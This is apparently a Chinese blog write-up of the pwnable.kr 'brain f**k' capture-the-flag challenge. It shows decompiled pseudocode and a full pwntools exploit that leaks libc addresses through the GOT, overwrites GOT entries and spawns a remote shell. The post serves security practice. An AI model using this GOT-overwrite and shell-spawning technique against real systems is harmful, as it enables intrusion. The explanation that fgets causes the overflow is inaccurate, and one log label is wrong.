pwnable.kr之brain f**k
2018-07-31 16:01
197 查看
这个问题还是很有趣的东西,这题是pwnable.kr中的第一题拥有libc库的题目;
首先说一下libc库作用,libc库的作用就是保存了可以用的函数,libc库提供C语言中所使用的宏,类型的定义,字符串操作符,数学计算函数以及输入输出函数等。正如ANSI C是C语言的标准一样,libc只是一个函数库标准,每个操作系统都会按照该标准对标准库进行具体实现。通常我们所说的libc是特指某个操作系统的标准库,比如:在Linux操作系统下所说的libc即glibc。glibc是类Unix操作系统中使用最广泛的libc库,它的全称是GNU C Library。
在libc库中,虽然函数的地址可能不同,但是函数之间的地址差是一定的,所以可以利用libc库来查看函数地址之间的差,之后可以在进行下一步的溢出。
接下来看看这个bf:
[code]int __cdecl main(int argc, const char **argv, const char **envp) { int result; // eax@4 int v4; // edx@4 size_t i; // [sp+28h] [bp-40Ch]@1 int v6; // [sp+2Ch] [bp-408h]@1 int v7; // [sp+42Ch] [bp-8h]@1 v7 = *MK_FP(__GS__, 20); setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); p = (int)&tape; puts("welcome to brainfuck testing system!!"); puts("type some brainfuck instructions except [ ]"); memset(&v6, 0, 0x400u); fgets((char *)&v6, 1024, stdin); for ( i = 0; i < strlen((const char *)&v6); ++i ) do_brainfuck(*((_BYTE *)&v6 + i)); result = 0; v4 = *MK_FP(__GS__, 20) ^ v7; return result; }
这个是main函数的c语言伪代码,首先发现这里有个fgets()函数,可以实现溢出;
[code]int __cdecl do_brainfuck(char a1) { int result; // eax@1 _BYTE *v2; // ebx@7 result = a1; switch ( a1 ) { case 62: result = p++ + 1; break; case 60: result = p-- - 1; break; case 43: result = p; ++*(_BYTE *)p; break; case 45: result = p; --*(_BYTE *)p; break; case 46: result = putchar(*(_BYTE *)p); break; case 44: v2 = (_BYTE *)p; result = getchar(); *v2 = result; break; case 91: result = puts("[ and ] not supported."); break; default: return result; } return result; }
这是do_brainfuck函数的c伪代码;
再说说做这个题目的思路,最终的目标就是拿到题目的一个shell,就是要构造一个system("/bin/sh\0"),system可以通过泄露内存,也就是通过libc库可以得到,而“/bin/sh”只能通过fget来输入;
知道了这些思路,接下来就是给出脚本了:
[code]#!/usr/bin/python from pwn import * libc = ELF('bf_libc.so') p = remote('pwnable.kr',9001) def back(n): return '<'*n def read(n): return '.>'*n def write(n): return ',>'*n putchar_got = 0x0804A030 memset_got = 0x0804A02C fgets_got = 0x0804A010 ptr = 0x0804A0A0 payload = back(ptr - putchar_got) + '.' + read(4) payload += back(4) + write(4) payload += back(putchar_got - memset_got + 4) + write(4) payload += back(memset_got - fgets_got + 4) + write(4) payload += '.' p.recvuntil('[ ]\n') p.sendline(payload) p.recv(1) # junkcode putchar_libc = libc.symbols['putchar'] gets_libc = libc.symbols['gets'] system_libc = libc.symbols['system'] putchar = u32(p.recv(4)) log.success("putchar = "+ hex(putchar)) gets = putchar - putchar_libc + gets_libc log.success("gets = " + hex(gets)) system = putchar - putchar_libc + system_libc log.success("system = " + hex(system)) main = 0x08048671 log.success("main = " + hex(system)) p.send(p32(main)) p.send(p32(gets)) p.send(p32(system)) p.sendline('//bin/sh\0') p.interactive()
这段脚本并不难理解,就是牵扯到一些libc库的专门的函数等,所以这些需要熟悉,但是思路其实还是很常见的溢出的思路。
ok,大功告成!!!!!
阅读更多相关文章推荐
- pwnable.kr brainfuck writeup
- pwnable.kr之lotto
- pwnable.kr [Toddler's Bottle] - cmd2
- pwnable.kr [collision]
- pwnable.kr fsb writeup
- pwnable.kr第二遍---random
- pwnable.kr之cmd1
- [pwnable.kr]--alloca
- pwnable.kr wp&总结
- pwnable.kr-bof-Writeup
- pwnable.kr [Toddler's Bottle] -fd
- pwnable.kr [Rookiss] - [simple login]
- pwnable.kr collision
- pwnable.kr第二遍---mistake
- pwnable.kr详细通关秘籍(二)
- pwnable.kr-random-Writeup
- pwnable.kr [Toddler's Bottle] - collision
- pwnable.kr writeup hash
- pwnable.kr 之asm
- pwnable.kr第二遍---uaf cmd1 cmd2